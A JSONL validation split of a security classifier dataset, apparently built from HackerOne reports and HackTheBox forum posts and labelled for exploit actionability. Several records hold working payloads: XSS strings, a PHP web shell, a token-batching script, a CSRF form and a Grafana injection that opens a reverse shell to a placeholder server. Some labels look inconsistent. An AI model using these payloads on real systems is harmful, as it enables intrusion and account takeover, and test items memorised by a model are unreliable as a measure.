2.7.4p191\nGem Version:    3.1.4\nBundler Version:2.1.4\nRake Version:   13.0.6\nRedis Version:  6.0.16\nGit Version:    2.33.0.\nSidekiq Version:6.2.2\nGo Version:     unknown\n\nGitLab information\nVersion:        14.4.2-ee\nRevision:       84aa6daaffd\nDirectory:      /opt/gitlab/embedded/service/gitlab-rails\nDB Adapter:     PostgreSQL\nDB Version:     12.7\nURL:            http://localhost:8888\nHTTP Clone URL: http://localhost:8888/some-group/some-project.git\nSSH Clone URL:  git@localhost:some-group/some-project.git\nElasticsearch:  no\nGeo:            no\nUsing LDAP:     no\nUsing Omniauth: yes\nOmniauth Providers:\n\nGitLab Shell\nVersion:        13.21.1\nRepository storage paths:\n- default:      /var/opt/gitlab/git-data/repositories\nGitLab Shell path:              /opt/gitlab/embedded/service/gitlab-shell\nGit:            /opt/gitlab/embedded/bin/git\n```\n\n## Impact\n\nAttacker who can comment on issue will be able to XSS users that visit that issue. This also affects other pages where comments can be posted, such as snippets.", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-06-08", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "79ecc8298ad298a0e5ae", "text": "[Cross-site Scripting (XSS) - Stored] Stored XSS on app.crowdsignal.com  your-subdomain.crowdsignal.net via Thank You Header\n\n## Summary:\nHi, I hope you're having a good day.\n\nI found an Stored XSS at app.crowdsignal.net.\n\n## Platform(s) Affected:\napp.crowdsignal.net\n\n## Steps To Reproduce:\n\n  1. Go to https://app.crowdsignal.com/dashboard and create a project\n  1. Add any thing to the project and publish the project and intercept the request while publishing.\n  1. Edit the Thank You Header with this payload `<a href='javascript:alert(document.domain);'>Click Me</a>`\n  1. Open the Project you published and fill the form and click submit you will be redirected to thank you page click at the button and the XSS will fired.\n\n## Supporting Material/References:\n\n████████\n\n## Impact\n\nStored XSS", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-02-24", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "bacebd5a66d48e32adb3", "text": "[Improper Input Validation] Remote code execution due to unvalidated file upload\n\n## Summary:\nHello \nI found a critical vunerability in one of your site, where user can upload any file type as a profile picture (including php file)\n\n\n## Steps To Reproduce:\n1. Visit https://careers.mtn.cm and register as a user.\n2. After successful registration, login and update your data.\n3. When uploading profile photo, select any file type.\n 4. When its updated, view the source code of the page, you will see your file with complete path.\n5. Copy the file path and paste into your browser.\n6. Boom your file will be executed\n\n\n\n## Supporting Material/References:\nHere i upload non-harmful file as a poc \n```\n<?php\necho \"proof of concept (PoC) by aliyugombe@wearehackerone.com\";\n?>\n```\nhttps://careers.mtn.cm/en/user/images/users/-13-04-2021-20-15-16-payload.php\n\n## Impact\n\nAttacker can upload malicious file and inject to your server or deface the entire website since its possible to upload php file and gain access to direct file path.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-09-01", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "df163566a7058fa53b98", "text": "[Improper Privilege Management] [h1-2102] [Plus] User with Store Management Permission can Make changeDomainEnforcementState - that should be limited to User Management Only\n\n## Summary:\nUser with Store Management Permission can Make changeDomainEnforcementState - that should be limited to User Management Only\n\n## Description:\nUser with `Store management` permission - {F1168470} only, is able to change user management settings using the graphql\n\n## Steps To Reproduce:\n- \n- \n- \n- \n\n- As an org plus admin, visit https://shopify.plus/:org_plus_id/users/invite and invite an user to have `store management permission` - (The purpose is to enable the low-privileged user to have access to https://shopify.plus/:plus_org_id/stores/api\n- As an org plus admin, create a Org domain, by visiting `https://shopify.plus/:id/users/security` and `Add Domain`\n- Login as the low-priviledged user, and visit shopify.plus and click around until you made a valid graphql call to shopify.plus, it looks something like this `POST /34946971/stores/api HTTP/1.1`\n- Make this call to figure out the domain id of your organization as a low privileged user \n\n```\nPOST /34946971/stores/api HTTP/1.1\nHost: shopify.plus\nUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:83.0) Gecko/20100101 Firefox/83.0\nAccept: application/json\nAccept-Language: en-US,en;q=0.5\n...\n\n{\"query\":\"query{organization{domains{id}}}\"}\n```\n\n- Grab the id and replace the REPLACE_ME in the below GraphQL call\n\n```\nPOST /34946971/stores/api HTTP/1.1\nHost: shopify.plus\nUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:83.0) Gecko/20100101 Firefox/83.0\nAccept: application/json\nAccept-Language: en-US,en;q=0.5\n...\n\n{\"query\":\"mutation  {\\n  changeDomainEnforcementState(domainIds: [\\\"REPLACE_ME\\\"],enforcementState:NOT_ENFORCED) {\\n    organization {\\n      id\\n      domains {\\n        id\\n        domainName\\n        status\\n        verified\\n        __typename\\n      }\\n      __typename\\n    }\\n    userErrors {\\n      field\\n      message\\n      __typename\\n    }\\n    __typename\\n  }\\n}\\n\"}\n```\n\n- Then it shows you are able to `changeDomainEnforcementState` by just having Store Management permission\n\n\n\n## Supporting Material/References:\n\n## Impact\n\nUser with Store Management permission can enforce/unenforce domain state", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-04-21", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "3dbb8f31706395f90d89", "text": "Okay, I got the flag. Try to use base64 encoding guys and take a good look at “copying”", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackthebox", "forum_id": "hackthebox", "timestamp": "2023-04-05", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "89fd444c45dc8a40742c", "text": "[Improper Authentication - Generic] Authentication Bypass Using Default Credentials on █████\n\nSummary:\nI have found a vulnerability name authentication Bypass Using Default Credentials on admin console of █████████.\n\n## Impact\n\nAccess to the portal and the data in the portal like emails links data etc\n\n## System Host(s)\n██████\n\n## Affected Product(s) and Version(s)\n\n\n## CVE Numbers\n\n\n## Steps to Reproduce\nSteps:\n1. Go to ████████\n2. Then login with credentials username admin and password admin.\n\n## Suggested Mitigation/Remediation Actions\nChange the credentials", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-02-24", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "72a22fc069c03d1e2578", "text": "[Open Redirect] Open Redirect in Logout & Login\n\n## Entry\nHello there! While browsing on expedia, I logged out of the account and as soon as I logged out, it was calling me a parameter called \"rurl\" directly on the link, I examined it and was able to redirect successfully.\n\n## Default Request\n\nGET /?logout=1 HTTP/2\nHost: www.expedia.com\nCookie:  { REDACTED }\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:107.0) Gecko/20100101 Firefox/107.0\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8\nAccept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3\nAccept-Encoding: gzip, deflate\nUpgrade-Insecure-Requests: 1\nSec-Fetch-Dest: document\nSec-Fetch-Mode: navigate\nSec-Fetch-Site: none\nSec-Fetch-User: ?1\nTe: trailers\n\n## Default Response\n\nHTTP/2 200 OK\n\n##In response, it redirects us to the homepage.\n\n## Vulnerability Request\n\nGET /?logout=https://qx4lw1nsec.blogspot.com HTTP/2\nHost: www.expedia.com\nCookie: { REDACTED }\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:107.0) Gecko/20100101 Firefox/107.0\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8\nAccept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3\nAccept-Encoding: gzip, deflate\nUpgrade-Insecure-Requests: 1\nSec-Fetch-Dest: document\nSec-Fetch-Mode: navigate\nSec-Fetch-Site: none\nSec-Fetch-User: ?1\nTe: trailers\n\n\n## Note\nThe part that exposes to explicit redirection is \"?\" in the section after the address. is use.\nand whatever he does he will throw redirects.\n\n## Video\n{F2053834}\n\n## Impact\n\nRedirect\nPhishing\nSocial Engineering", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-03-02", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "abd8c971fd6c04eddf5f", "text": "A Quick History of Animation\n\nHey! Thank you for this story, it was very interesting, I also love all kinds of characters, and especially I like to dress up on Halloween, for example, last time I was a zombie, and I bought a mask in this store  , maybe it will be useful for someone**Links removed by Site Administrator so it doesn't look like you're spamming us. Please don't post them again.**", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hacker_exploits", "forum_id": "antionline", "timestamp": "2022-04-28", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "45e87ce6539711ac8d89", "text": "[Unknown] rubygems.org Batching attack to `confirmation_token` by bypass rate limit\n\nThe following is copied from hackerone's report.  https://hackerone.com/reports/1529183\n\n---\n\nI confirmed that EmailConfirmationsController has the same problem as https://hackerone.com/reports/449356 .\n\nhttps://github.com/rubygems/rubygems.org/blob/962dba88995c98973f52fa84faebce4a62cd56e3/app/controllers/email_confirmations_controller.rb#L55\n\n```ruby\n  def validate_confirmation_token\n    @user = User.find_by(confirmation_token: params[:token])\n    redirect_to root_path, alert: t(\"failure_when_forbidden\") unless @user&.valid_confirmation_token?\n  end\n```\n\nUsing an array in `params[:token]` makes searching for `confirmation_token` more efficient.\n\n### PoC\n\n1. start server in local\n2. Access url with multiple token\n\n```\n❯ curl --globoff 'http://127.0.0.1:3000/email_confirmations/confirm?token[]=key1&token[]=key2'\n\n<html><body>You are being <a href=\"http://127.0.0.1:3000/\">redirected</a>.</body></html>%\n```\n\n#### rails log\n\n```ruby\nStarted GET \"/email_confirmations/confirm?token[]=[FILTERED]&token[]=[FILTERED]\" for 127.0.0.1 at 2022-04-03 17:54:41 +0900\nProcessing by EmailConfirmationsController#update as HTML\n  Parameters: {\"token\"=>\"[FILTERED]\"}\n  User Load (1.8ms)  SELECT \"users\".* FROM \"users\" WHERE \"users\".\"confirmation_token\" IN ($1, $2) LIMIT $3  [[\"confirmation_token\", \"key1\"], [\"confirmation_token\", \"key2\"], [\"LIMIT\", 1]]\n  ↳ app/controllers/email_confirmations_controller.rb:56:in `validate_confirmation_token'\nRedirected to http://127.0.0.1:3000/\nFilter chain halted as :validate_confirmation_token rendered or redirected\nCompleted 302 Found in 71ms (ActiveRecord: 26.5ms | Elasticsearch: 0.0ms | Allocations: 3613)\n```\n\n### batching attack\n\n```ruby\nrequire 'net/http'\nrequire 'securerandom'\nrequire 'json'\n\n# https://github.com/thoughtbot/clearance/blob/main/lib/clearance/token.rb\nkeys = 100_000.times.map{SecureRandom.hex(20).encode('UTF-8')}\n\nuri = URI.parse(\"http://127.0.0.1:3000/email_confirmations/confirm\")\nhttp = Net::HTTP.new(uri.host, uri.port)\nreq = Net::HTTP::Get.new(uri.path)\nreq[\"Content-Type\"] = \"application/json\"\nreq.body = {token: keys}.to_json\n\nres = http.request(req)\nputs res.body\n```\n\nIn the previous report, 65534 was the limit, but due to a change in the behavior of rails, it is possible to send more numbers.\n\n## Impact\n\nThere is a rate limit for accessing websites, but this method allows attacker to confirm a large number of tokens.\n\nhttps://guides.rubygems.org/rubygems-org-rate-limits/\n> API and website: 10 requests per second\n\nIf authentication by `validate_confirmation_token` is successful, users who have a valid confirm_token and have not set up multi-factor authentication will be able to sign in.\n\nhttps://github.com/rubygems/rubygems.org/blob/962dba88995c98973f52fa84faebce4a62cd56e3/app/controllers/email_confirmations_controller.rb#L5\n\n```ruby\n  def update\n    if @user.mfa_enabled?\n      @form_url = mfa_update_email_confirmations_url(token: @user.confirmation_token)\n      render template: \"multifactor_auths/otp_prompt\"\n    else\n      confirm_email_success\n    end\n  end\n```  \n\nhttps://github.com/rubygems/rubygems.org/blob/962dba88995c98973f52fa84faebce4a62cd56e3/app/controllers/email_confirmations_controller.rb#L62\n\n```ruby\n  def confirm_email_success\n    @user.confirm_email!\n    sign_in @user\n    redirect_to root_path, notice: t(\"email_confirmations.update.confirmed_email\")\n  end\n```\n\n---\n\nI confirmed the number of tokens that can be sent in one request, it seems to be around 2 million.\n\nThe value of `client_max_body_size` of nginx setting in rubygems.org is `500M`, and it seems that attacker can send up to about 12 million tokens when sending using json. https://github.com/rubygems/rubygems.org/blob/master/config/deploy/nginx-configmap.yaml.erb#L79\nHowever, when I confirmed the operation locally, sending more than 2 million tokens made it easier for unexplained postgresql errors to occur.\n\n```\nrubygemsorg-db-1         | 2022-04-17 01:58:24.498 UTC [1] LOG:  server process (PID 230) was terminated by signal 9: Ki", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-07-13", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "a0ee12c03be32c3ac07e", "text": "eh estado luchando con este reto, dentro de /var/www/html debes crear un archivo shell.php con el contenido ``` <?php system($_GET[\"cmd\"]); ?> luego en otra terminal curl -X GET 'http://10.129.5.70/shell.php' para luego leer con cat /var/log/apache2/error.log", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackthebox", "forum_id": "hackthebox", "timestamp": "2023-10-23", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "91206517d90e859a8a6b", "text": "[Security Through Obscurity] Subdomain takeover of █████████\n\nI have found a subdomain of `███████` to be vulnerable to takeovers via a CNAME to unclaimed domain. I have claimed this domain and redirected them to a blank page to prevent a bad actor from doing so in the meantime, and hosted a POC file at obscure URLs. These are the following domains I discovered and the outdated endpoints on Azure to which they point:\n\n█████ --> ████\n\n...and the proof-of-concept file is at the following location:\n\nhttps://████████/proof.e7437329-ab61-4f22-a049-df5b3685313a.txt\n\nI have not hosted any other file nor attempted any other vector of attack.\n\n## Impact\n\nYou're probably familiar with takeovers like this by now, but through this vulnerability, it would be possible for an attacker to obtain cookies and other sensitive information from your users via phishing, cookie hijacking, or XSS.\n\nMore info on possible attack vectors can be found at MDN: https://developer.mozilla.org/en-US/docs/Web/Security/Subdomain_takeovers\n\n## System Host(s)\n████\n\n## Affected Product(s) and Version(s)\n\n\n## CVE Numbers\n\n\n## Steps to Reproduce\nTo confirm the issue visit:\n\nhttps://████████/proof.e7437329-ab61-4f22-a049-df5b3685313a.txt\n\n## Suggested Mitigation/Remediation Actions\nRemove CNAME of █████", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-09-06", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "9ea7b8f0ea5db640ca86", "text": "[Privilege Escalation] odbc apache airflow provider code execution vulnerability\n\nIn  airflow.providers.odbc.hooks.odbc.OdbcHook, A privilege escalation vulnerability exists in a system due to controllable ODBC driver parameters that allow the loading of arbitrary dynamic-link libraries, resulting in command execution.\n\nVulnerability reproduction steps: \n1. get a malicious dynamic-link library driver\nA simple way to obtain a malicious dynamic-link library driver is to obtain the driver source code, add malicious code into the driver code and compile it. So I download a mysql-odbc-driver from https://cdn.mysql.com//Downloads/Connector-ODBC/8.0/mysql-connector-odbc-8.0.33-src.tar.gz，add I add `system('touch /tmp/apache-ariflow-odbc')` in driver.ansi.SQLDriverConnect function. After Compilation, I get a dynamic library `libmyodbc8a.so`.\n\n2. config odbc connection\nGo to the Connection configuration page. Add a `driver` parameter in the extra location, with the parameter being the file path of the previously obtained dynamic-link library file.\n\n3. click on the test button\nClick on the test button and it can be observed that the command is executed and a file named apache-ariflow-odbc is generated in the /tmp directory.\n\nThis is a screenshot of my email exchange with Airflow developers:\n█████\n█████\n\n## Impact\n\nUpgrade any local user to Airflow user privileges.", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-08-26", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "0c858f3f806b896fb067", "text": "Ok, but the given server time zone might not be the real one. Try to use greater offset instead of ±1 s. For speeding things up, try to generate the given token (which can be conducted offline).", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackthebox", "forum_id": "hackthebox", "timestamp": "2022-02-21", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "1bc2af2b8ecdbc31127f", "text": "[Path Traversal] Fix : (Security) Mitigate Path Traversal Bug\n\nUnsanitized input from arg[0] argument flows into java.io.FileOutputStream, where it is used as a path. This may result in a Path Traversal vulnerability and allow an attacker to write to arbitrary files.\n\n## Impact\n\nBeing able to access and manipulate an arbitrary path leads to vulnerabilities when a program is being run with privileges that the user providing the path should not have. A website with a path traversal vulnerability would allow users access to sensitive files on the server hosting it. CLI programs may also be vulnerable to path traversal if they are being ran with elevated privileges (such as with the setuid or setgid flags in Unix systems)", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-08-05", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "2fea3ce8f3647a8a28e7", "text": "[External Control of File Name or Path] CVE-2023-38546: cookie injection with none file\n\nWhen `curl_easy_duphandle()` is used to duplicate an easy handle it is possible to inject cookies \ninto that duplicated handle if a file `none` exists in the current working directory.\n\n## PoC / Steps to reproduce:\n1. Open 2 terminals\n1. compile  F2699218\n1. in terminal 1: \n    `nc -l -p 8888 127.0.0.1`\n1. in terminal 2: \n\t* `echo -e \"127.0.0.1\\tTRUE\\t/\\tFALSE\\t0\\tname\\tvalue\" > none`\n\t* `/path/to/poc_cookieinj` \n(`poc_cookieinj` does not have to be in the same directory as the file `none`)\n\n## Supporting Material/References:\n\nThe flaw is in `Curl_cookie_init()`\n```\nif(!inc) {\n    /* we didn't get a struct, create one */\n    c = calloc(1, sizeof(struct CookieInfo));\n    if(!c)\n      return NULL; /* failed to get memory */\n    c->filename = strdup(file?file:\"none\"); /* copy the name just in case */\n    if(!c->filename)\n      goto fail; /* failed to get memory */\n```\n\nand  in `curl_easy_duphandle()` the injection happens\n```\nif(data->cookies) {\n    /* If cookies are enabled in the parent handle, we enable them\n       in the clone as well! */\n    outcurl->cookies = Curl_cookie_init(data,\n                                        data->cookies->filename,\n                                        outcurl->cookies,\n                                        data->set.cookiesession);\n    if(!outcurl->cookies)\n      goto fail;\n  }\n```\n\n## Impact\n\ncookies injection into an http request", "label": 2, "label_name": "actionable_exploit", "cve_ids": ["CVE-2023-38546"], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-10-11", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "77a989331d412e9c8ca5", "text": "[Improper Access Control - Generic] Improper Implementation of SDK Allows Universal XSS in Webview Leading to Account Takeover\n\n## Affected App: Social Trading (com.exness.investments)\n## App Version: - 2.45.8-release (latest on PlayStore)\n\n# Summary:\nThe **SurveyMonkey** SDK, used to collect surveys from users for analytic and informative purposes, was implemented in an insecure manner in . Particularly, the `SMFeedbackActivity` was exported, allowing any app installed on user's device to launch it. In the implementation details stated on Github (see References), it is expected that the SDK would be initialized programmatically and not via an exported activity. Nevertheless, this in itself does not make the app vulnerable.\n\nThe vulnerability surfaces because the exported activity, `SMFeedbackActivity`, is a Fragment which loads data into a WebView by supplying externally controlled `Intent Extras` into the `loadDataWithBaseURL()` method of the WebView. This method accepts a `baseURL` and `HTML` data as parameters and uses their values to load the WebView, with JavaScript enabled. The function of this method is that when a `baseURL` is supplied, the WebView treats the HTML content in the `HTML` data as though it's a content that was loaded when the `baseURL` was visited. For example, supplying `https://my.exness.com` as `baseURL` and `<script>document.write(document.cookies)</script>` would write out the cookies of `my.exness.com` stored in the app's internal storage. The same is applicable for all cookies stored for every other site visited through the various WebViews in the Social Trading app because all cookies are stored in a single file.\n\nTherefore, a malicious app can start up the vulnerable activity--which is actually a fragment, being an extension of the `Fragment` super class--and supply the intent with malicious `Intent Extras` containing any website as well as JavaScript payload to steal user's Cookies or execute OSRF (On-Site Request Forgery) attacks.\n\nHere's the vulnerable piece of code:\n**AndroidManifest.xml**\n**Desc:** The exported activity.\n\n```xml\n<activity android:name=\"com.surveymonkey.surveymonkeyandroidsdk.SMFeedbackActivity\" ...>\n  <intent-filter>\n      <action android:name=\"android.intent.action.MAIN\"/>\n  </intent-filter>\n</activity>\n```\n\n**com.surveymonkey.surveymonkeyandroidsdk.SMFeedbackActivity**\n**Desc:** The last line `onCreate()` method launches the Fragment with attacker-supplied Intent Extras.\n\n```java\n@Override // androidx.fragment.app.FragmentActivity\npublic void onCreate(android.os.Bundle bundle) {\n  super.onCreate(bundle);\n  android.content.Intent intent = getIntent();\n  this.f11369c = intent.getStringExtra(\"smSPageHTML\");\n  this.f11370d = intent.getStringExtra(\"smSPageURL\");\n  if (this.f11369c == null) {\n    ...\n  } else if (bundle == null) {\n    ...\n    android.os.Bundle bundle2 = new android.os.Bundle();\n    bundle2.putString(\"smSPageURL\", str);\n    bundle2.putString(\"smSPageHTML\", str2);\n    bundle2.putBoolean(\"smHasLoadedSPageHTML\", true);\n    sMFeedbackFragment.setArguments(bundle2);\n    beginTransaction.add(16908290, sMFeedbackFragment, com.surveymonkey.surveymonkeyandroidsdk.SMFeedbackFragment.f11372p).commit();\n  }\n}\n```\n\n**com.surveymonkey.surveymonkeyandroidsdk.SMFeedbackFragment**\n**Desc:** After some bypassable validations of the URL, the attacker-data is loaded in WebView in `loadDataWithBaseURL()` below\n```java\npublic class SMFeedbackFragment extends androidx.fragment.app.Fragment implements p000.AbstractC8582mU{\n\t...\n\n\tpublic final void m4704b() {\n    if (getView() != null) {\n      this.f11382n = android.app.ProgressDialog.show(getActivity(), null, getString(com.surveymonkey.surveymonkeyandroidsdk.R$string.sm_loading_status));\n      this.f11376g = true;\n      this.f11373c = (android.webkit.WebView) getView().findViewById(com.surveymonkey.surveymonkeyandroidsdk.R$id.sm_feedback_webview);\n      this.f11373c.getSettings().setJavaScriptEnabled(true);\n      this.f11373c.setWebViewClient(new com.surveymonkey.surveymonkeyandroidsdk.SMFeedbackFragment.C7006c(null));\n      this", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-04-13", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "e71748050a720ef3be73", "text": "[Misconfiguration] Exposed Cortex API at https://cortex-ingest.shopifycloud.com/\n\nHi there, to be honest this is the first time I have seen this type of asset, but I think it is interesting/not supposed to be exposed. There is a Cortex metrics server running without authentication on https://cortex-ingest.shopifycloud.com/. This allows us to see the config for the server, call various Cortex APIs, and also exposes a Golang pprof debugger where we can see all the command-line arguments and DoS the server.\n\nExample URLs:\n* Cortex home: https://cortex-ingest.shopifycloud.com/\n* Cortex config: https://cortex-ingest.shopifycloud.com/config\n* Golang pprof home: https://cortex-ingest.shopifycloud.com/debug/pprof/\n* Golang pprof cmdline: https://cortex-ingest.shopifycloud.com/debug/pprof/cmdline?debug=1\n\nI see that the Cortex API offers many endpoints, some of which work and some of which do not: https://cortexmetrics.io/docs/api/#endpoints. I will take a look and see what impact I can find there.\n\n## Impact\n\nInformation disclosure, no authentication", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-12-02", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "f0e2ae46ff5b3464a777", "text": "[Information Disclosure] AEM misconfiguration leads to Information disclosure\n\nHello Team,\n\nI was able to access sensitive information by appending `/.1.json` to certain URLs on ████Specifically, by visiting the following URL, I was able to obtain a JSON response that contained all the templates and files present in the web root due to AEM misconfiguration:\n\n█████████\n██████████\n\n We can see it disclose system username and templates used by the system. This presents a serious security risk, as an attacker could use this information to gain access to sensitive files or directories that should not be publicly available.\n\n## Impact\n\n* Loss of confidentiality: The disclosure of internal username and webroot directories can result in a loss of confidentiality of sensitive information. This can lead to unauthorized access, manipulation, or exploitation of the disclosed information.\n\n* Social engineering attacks: Internal username can be used in social engineering attacks such as phishing, spear-phishing, or pretexting. Attackers can use this information to craft targeted emails or other communications that appear to come from a trusted source and attempt to deceive the recipient into divulging sensitive information or clicking on malicious links.\n\n* Reputation damage: The disclosure of sensitive information can damage an organization's reputation and erode trust among customers, partners, and stakeholders.\n\nhttps://www.linkedin.com/feed/update/urn:li:activity:7049404669814530048/\n\n## System Host(s)\n████████\n\n## Affected Product(s) and Version(s)\n\n\n## CVE Numbers\n\n\n## Steps to Reproduce\n* Visit : ███, █████\n\n## Suggested Mitigation/Remediation Actions\nhttps://www.linkedin.com/feed/update/urn:li:activity:7049404669814530048/", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-05-15", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "61e3f8cd17d76fd5997f", "text": "[Unknown] CVE-2023-36617: ReDoS vulnerability in URI (Ruby)\n\nI made a report at https://hackerone.com/reports/1958260 .\n\nhttps://www.ruby-lang.org/en/news/2023/06/29/redos-in-uri-CVE-2023-36617/\n\n> A ReDoS issue was discovered in the URI component through 0.12.1 for Ruby. The URI parser mishandles invalid URLs that have specific characters. There is an increase in execution time for parsing strings to URI objects with rfc2396_parser.rb and rfc3986_parser.rb.\n\n> NOTE: this issue exists because of an incomplete fix for CVE-2023-28755.\n\n## Impact\n\nParsing of URIs may cause ReDoS.\nEspecially when using RFC2396_Parser, even Ruby 3.2.x is affected.", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": ["CVE-2023-36617", "CVE-2023-28755"], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-08-15", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "a095a5736af6e0b16411", "text": "[Information Disclosure] Sensitive information for phpinfo.php at https://products.ean.com/\n\npoc: https://products.ean.com/phpinfo.php\n\n## Impact\n\nThis information can help an attacker gain more information on the system. After gaining detailed information, the attacker can research known vulnerabilities for that system under review. The attacker can also use this information during the exploitation of other vulnerabilities.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-04-11", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "b2dea252cb8573c3751f", "text": "People who share knowledge in such an organized matter are one of a kind! Skimmed through it today, thanks for all the effort put!", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hacker_exploits", "forum_id": "zerosec", "timestamp": "2022-05-08", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "de2a673258f38b088f36", "text": "[Cross-Site Request Forgery (CSRF)] CSRF to change password\n\nDescription \n\nCross-Site Request Forgery (CSRF) is a type of attack that occurs when a malicious web site, email, blog, instant message, or program causes a user's web browser to perform an unwanted action on a trusted site for which the user is currently authenticated.\n\n\nI have found CSRF to change password , \n\nPOC \n\n\n<html>\n\n  <body>\n    <form action=\"https://nordvpn.com/profile/\" method=\"POST\">\n      <input type=\"hidden\" name=\"tmpl\" value=\"settings\" />\n      <input type=\"hidden\" name=\"password\" value=\"password\" />\n      <input type=\"hidden\" name=\"password&#95;confirmation\" value=\"password\" />\n      <input type=\"submit\" value=\"Submit request\" />\n    </form>\n  </body>\n</html>\n\nThanks", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-01-12", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "49967af70673000b01df", "text": "[CRLF Injection] Grafana RCE via SMTP server parameter injection\n\n## Summary:\n\nThis report is similar to [#1180653](https://hackerone.com/reports/1180653), except with different parameter injection entrypoint.\n\nSMTP server password configuration setting accepts new line characters. This can be used to set non-exported configuration variables. Using this CRLF-injection, the `rendering_args` of grafana image renderer can be modified which leads to code execution on the Grafana server.\n\n## Steps To Reproduce:\n\n1.Create Aiven Grafana instance\n2.Setup netcat listener on your server: `nc -n -lvp 4444`\n3.Send the following request to the grafana instance, replace place holders. The aivenv1 token can be retrieved by inspecting the browser traffic.\n4. Browse to https://INSTANCE_SUBDOMAIN.aivencloud.com/render/x to trigger the exploit.\n\n```http\nPUT /v1/project/PROJECT_NAME/service/GRAFANA_INSTANCE_NAME HTTP/1.1\nHost: console.aiven.io\nConnection: keep-alive\nAccept: application/json\nAuthorization: aivenv1 AIVEN_TOKEN_HERE\nX-Aiven-Client-Version: aiven-console/3.5.1-1104.g2809991854\nContent-Type: application/json\nOrigin: https://console.aiven.io\n\n{\n    \"user_config\": {\n        \"smtp_server\": {\n            \"host\": \"example.org\",\n            \"port\": 1,\n            \"from_address\": \"x@examle.org\",\n            \"password\": \"x\\r\\n[plugin.grafana-image-renderer]\\r\\nrendering_args=--renderer-cmd-prefix=bash -c bash$IFS-l$IFS>$IFS/dev/tcp/SERVER_IP/4444$IFS0<&1$IFS2>&1\"\n        }\n    }\n}\n```\n\n## Impact\n\nCommand execution on the grafana server. Access and modify data on the grafana server and possibly the attacker could pivot into other servers on the aiven network.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-11-08", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
